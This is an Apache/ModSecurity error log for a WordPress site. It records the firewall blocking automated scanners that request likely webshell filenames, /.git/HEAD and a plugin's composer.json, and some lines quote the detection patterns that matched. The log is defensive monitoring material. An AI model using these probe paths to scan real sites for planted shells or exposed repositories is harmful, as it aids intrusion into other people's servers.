[Sat Mar 14 00:42:23.746014 2026] [:error] [pid 48070:tid 48073] [client 4.204.197.4:8661] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "abQ-b0IvrhMS5BVHxNn-swAAAAE"]
[Sat Mar 14 00:42:24.259207 2026] [:error] [pid 48070:tid 48078] [client 4.204.197.4:37118] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "abQ-cEIvrhMS5BVHxNn-tgAAAAY"]
[Sat Mar 14 00:42:24.765560 2026] [:error] [pid 48070:tid 48085] [client 4.204.197.4:51562] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "abQ-cEIvrhMS5BVHxNn-uAAAAA0"]
[Sat Mar 14 00:42:25.256994 2026] [:error] [pid 48070:tid 48079] [client 4.204.197.4:48055] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/inputs.php"] [unique_id "abQ-cUIvrhMS5BVHxNn-vAAAAAc"]
[Sat Mar 14 00:42:25.784433 2026] [:error] [pid 48070:tid 48092] [client 4.204.197.4:53827] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "abQ-cUIvrhMS5BVHxNn-vQAAABQ"]
[Sat Mar 14 00:42:26.245710 2026] [:error] [pid 48070:tid 48087] [client 4.204.197.4:8664] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "abQ-ckIvrhMS5BVHxNn-vgAAAA8"]
[Sat Mar 14 00:42:26.749085 2026] [:error] [pid 47905:tid 47993] [client 4.204.197.4:37083] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "abQ-chaYZayP4o4wpJcO3QAAAUA"]
[Sat Mar 14 00:42:27.346098 2026] [:error] [pid 48070:tid 48074] [client 4.204.197.4:37066] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/test.php"] [unique_id "abQ-c0IvrhMS5BVHxNn-wgAAAAI"]
[Sat Mar 14 00:42:27.806297 2026] [:error] [pid 48070:tid 48082] [client 4.204.197.4:51550] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "abQ-c0IvrhMS5BVHxNn-xAAAAAo"]
[Sat Mar 14 00:42:28.268223 2026] [:error] [pid 48070:tid 48076] [client 4.204.197.4:8683] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "abQ-dEIvrhMS5BVHxNn-xgAAAAQ"]
[Sat Mar 14 00:42:28.712331 2026] [:error] [pid 48070:tid 48079] [client 4.204.197.4:53839] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "abQ-dEIvrhMS5BVHxNn-yAAAAAc"]
[Sat Mar 14 00:42:29.165535 2026] [:error] [pid 47878:tid 47949] [client 4.204.197.4:37086] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/maint/admin.php"] [unique_id "abQ-dX8jymmmpr1jcBehEgAAAEo"]
[Sat Mar 14 00:42:29.616909 2026] [:error] [pid 47891:tid 47988] [client 4.204.197.4:39079] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "abQ-dfchNnuMqi7I_WHowgAAAJY"]
[Sat Mar 14 00:42:30.100422 2026] [:error] [pid 47891:tid 47989] [client 4.204.197.4:51568] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "abQ-dvchNnuMqi7I_WHowwAAAJc"]
[Sat Mar 14 00:42:30.542894 2026] [:error] [pid 47878:tid 47956] [client 4.204.197.4:62172] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "abQ-dn8jymmmpr1jcBehFAAAAFE"]
[Sat Mar 14 00:42:30.984845 2026] [:error] [pid 47891:tid 47970] [client 4.204.197.4:48007] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/admin.php"] [unique_id "abQ-dvchNnuMqi7I_WHoxgAAAIQ"]
[Sat Mar 14 00:42:31.421425 2026] [:error] [pid 48070:tid 48087] [client 4.204.197.4:51539] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "abQ-d0IvrhMS5BVHxNn-ywAAAA8"]
[Sat Mar 14 00:42:31.839576 2026] [:error] [pid 48070:tid 48091] [client 4.204.197.4:48058] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "abQ-d0IvrhMS5BVHxNn-zAAAABM"]
[Sat Mar 14 00:42:32.309343 2026] [:error] [pid 47891:tid 47975] [client 4.204.197.4:51557] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "abQ-ePchNnuMqi7I_WHoyAAAAIk"]
[Sat Mar 14 00:42:32.765859 2026] [:error] [pid 48070:tid 48073] [client 4.204.197.4:39065] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/up.php"] [unique_id "abQ-eEIvrhMS5BVHxNn-zwAAAAE"]
[Sat Mar 14 00:42:33.197150 2026] [:error] [pid 47905:tid 47997] [client 4.204.197.4:48020] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "abQ-eRaYZayP4o4wpJcO4QAAAUQ"]
[Sat Mar 14 00:42:33.621147 2026] [:error] [pid 47878:tid 47960] [client 4.204.197.4:42851] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "abQ-eX8jymmmpr1jcBehFwAAAFU"]
[Sat Mar 14 00:42:34.076224 2026] [:error] [pid 47891:tid 47977] [client 4.204.197.4:8690] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "abQ-evchNnuMqi7I_WHoygAAAIs"]
[Sat Mar 14 00:42:34.491604 2026] [:error] [pid 48070:tid 48079] [client 4.204.197.4:8654] [client 4.204.197.4] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/1.php"] [unique_id "abQ-ekIvrhMS5BVHxNn-1QAAAAc"]
[Sat Mar 14 01:21:55.271031 2026] [:error] [pid 47878:tid 47944] [client 20.151.4.179:31987] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chati.php"] [unique_id "abRHs38jymmmpr1jcBerTAAAAEU"]
[Sat Mar 14 01:21:56.107687 2026] [:error] [pid 48070:tid 48076] [client 20.151.4.179:31937] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chati.php"] [unique_id "abRHtEIvrhMS5BVHxNkaFgAAAAQ"]
[Sat Mar 14 01:21:56.934623 2026] [:error] [pid 48070:tid 48087] [client 20.151.4.179:31958] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chati.php"] [unique_id "abRHtEIvrhMS5BVHxNkaGgAAAA8"]
[Sat Mar 14 01:21:57.765556 2026] [:error] [pid 47878:tid 47949] [client 20.151.4.179:31991] [client 20.151.4.179] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chati.php"] [unique_id "abRHtX8jymmmpr1jcBerTgAAAEo"]
[Sat Mar 14 01:23:09.054058 2026] [:error] [pid 47905:tid 47998] [client 4.204.233.55:52708] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/hp2.php"] [unique_id "abRH_RaYZayP4o4wpJcg5gAAAUU"]
[Sat Mar 14 01:23:09.881360 2026] [:error] [pid 47905:tid 48007] [client 4.204.233.55:52677] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/hp2.php"] [unique_id "abRH_RaYZayP4o4wpJcg6gAAAU4"]
[Sat Mar 14 01:23:10.718735 2026] [:error] [pid 47905:tid 48006] [client 4.204.233.55:52731] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/hp2.php"] [unique_id "abRH_haYZayP4o4wpJcg7QAAAU0"]
[Sat Mar 14 01:23:11.547458 2026] [:error] [pid 47891:tid 47984] [client 4.204.233.55:6716] [client 4.204.233.55] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/.well-known/hp2.php"] [unique_id "abRH__chNnuMqi7I_WH2sAAAAJI"]
[Sat Mar 14 02:24:02.834209 2026] [autoindex:error] [pid 47891:tid 47975] [client 142.93.208.146:50688] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Mar 14 04:43:35.830917 2026] [autoindex:error] [pid 3913:tid 3967] [client 212.227.100.3:49945] AH01276: Cannot serve directory /home/rcacivils/public_html/wp-admin/css/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive, referer: binance.com
[Sat Mar 14 05:07:02.599305 2026] [:error] [pid 3912:tid 3931] [client 185.137.164.19:31405] [client 185.137.164.19] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.rcacivilgroup.com"] [uri "/.git/HEAD"] [unique_id "abR8dsXFZBK-jpdCvTHDEwAAAAQ"]
[Sat Mar 14 06:31:57.603338 2026] [:error] [pid 3913:tid 3976] [client 36.111.67.189:44786] [client 36.111.67.189] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abSQXR9qvQd4GQHUp68N8wAAAFM"]
[Sat Mar 14 06:32:15.077420 2026] [:error] [pid 57226:tid 57237] [client 43.157.22.57:48052] [client 43.157.22.57] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "rcacivilgroup.com"] [uri "/"] [unique_id "abSQb2xFlXQvNewjeI8r4QAAAUc"]
[Sat Mar 14 07:30:41.961430 2026] [:error] [pid 57226:tid 57238] [client 49.51.72.236:48758] [client 49.51.72.236] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.rcacivilgroup.com|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.rcacivilgroup.com"] [uri "/"] [unique_id "abSeIWxFlXQvNewjeI9GvgAAAUg"]
[Sat Mar 14 07:36:06.878394 2026] [:error] [pid 35801:tid 35824] [client 51.89.43.80:59337] [client 51.89.43.80] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/composer.json" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/cidaas-pro-master/composer.json"] [unique_id "abSfZm8tVFelXGsqbU_G_AAAARQ"]
[Sat Mar 14 08:14:55.990792 2026] [:error] [pid 35801:tid 35809] [client 185.241.208.62:59417] [client 185.241.208.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/speculative8.php"] [unique_id "abSof28tVFelXGsqbU_P-AAAAQU"]
[Sat Mar 14 08:14:56.531903 2026] [:error] [pid 3912:tid 3940] [client 185.241.208.62:56646] [client 185.241.208.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "abSogMXFZBK-jpdCvTHbJgAAAA0"]
[Sat Mar 14 08:15:17.224853 2026] [:error] [pid 3913:tid 3965] [client 185.241.208.62:50780] [client 185.241.208.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/blocks/post-excerpt/index.php"] [unique_id "abSolR9qvQd4GQHUp68uAAAAAEg"]
[Sat Mar 14 08:15:20.395853 2026] [:error] [pid 3913:tid 3968] [client 185.241.208.62:55806] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/about.php"] [unique_id "abSomB9qvQd4GQHUp68uDAAAAEs"]
[Sat Mar 14 08:15:20.937374 2026] [:error] [pid 57226:tid 57239] [client 185.241.208.62:63485] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/uploads/index.php"] [unique_id "abSomGxFlXQvNewjeI9ZugAAAUk"]
[Sat Mar 14 08:15:21.476133 2026] [:error] [pid 3913:tid 3973] [client 185.241.208.62:56472] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-content/plugins/zwso.php"] [unique_id "abSomR9qvQd4GQHUp68uDgAAAFA"]
[Sat Mar 14 08:15:22.013285 2026] [:error] [pid 3913:tid 3962] [client 185.241.208.62:59418] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/chosen.php"] [unique_id "abSomh9qvQd4GQHUp68uEQAAAEU"]
[Sat Mar 14 08:15:22.546891 2026] [:error] [pid 3913:tid 3966] [client 185.241.208.62:51795] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/goods.php"] [unique_id "abSomh9qvQd4GQHUp68uFAAAAEk"]
[Sat Mar 14 08:15:23.082502 2026] [:error] [pid 3912:tid 3935] [client 185.241.208.62:51419] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/css/colors/index.php"] [unique_id "abSom8XFZBK-jpdCvTHbMwAAAAg"]
[Sat Mar 14 08:15:24.149566 2026] [:error] [pid 3913:tid 3981] [client 185.241.208.62:64151] [client 185.241.208.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/speculative8.php"] [unique_id "abSonB9qvQd4GQHUp68uFwAAAFg"]
[Sat Mar 14 08:15:25.217164 2026] [:error] [pid 3913:tid 3960] [client 185.241.208.62:53095] [client 185.241.208.62] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "rcacivilgroup.com"] [uri "/wp-includes/SimplePie/about.php"] [unique_id "abSonR9qvQd4GQHUp68uGAAAAEM"]
[Sat Mar 14 08:15:26.285550 2026] [:error] [pid 57226:tid 57253] [client 185.241.208.62:54867] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/includes/nav.php"] [unique_id "abSonmxFlXQvNewjeI9ZvgAAAVc"]
[Sat Mar 14 08:15:27.371077 2026] [:error] [pid 57226:tid 57254] [client 185.241.208.62:56913] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file.php"] [unique_id "abSon2xFlXQvNewjeI9ZwAAAAVg"]
[Sat Mar 14 08:15:28.428693 2026] [:error] [pid 3912:tid 3932] [client 185.241.208.62:52806] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file17.php"] [unique_id "abSooMXFZBK-jpdCvTHbNwAAAAU"]
[Sat Mar 14 08:15:29.487357 2026] [:error] [pid 57226:tid 57244] [client 185.241.208.62:56079] [client 185.241.208.62] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "rcacivilgroup.com"] [uri "/file5.php"] [unique_id "abSooWxFlXQvNewjeI9ZwgAAAU4"]
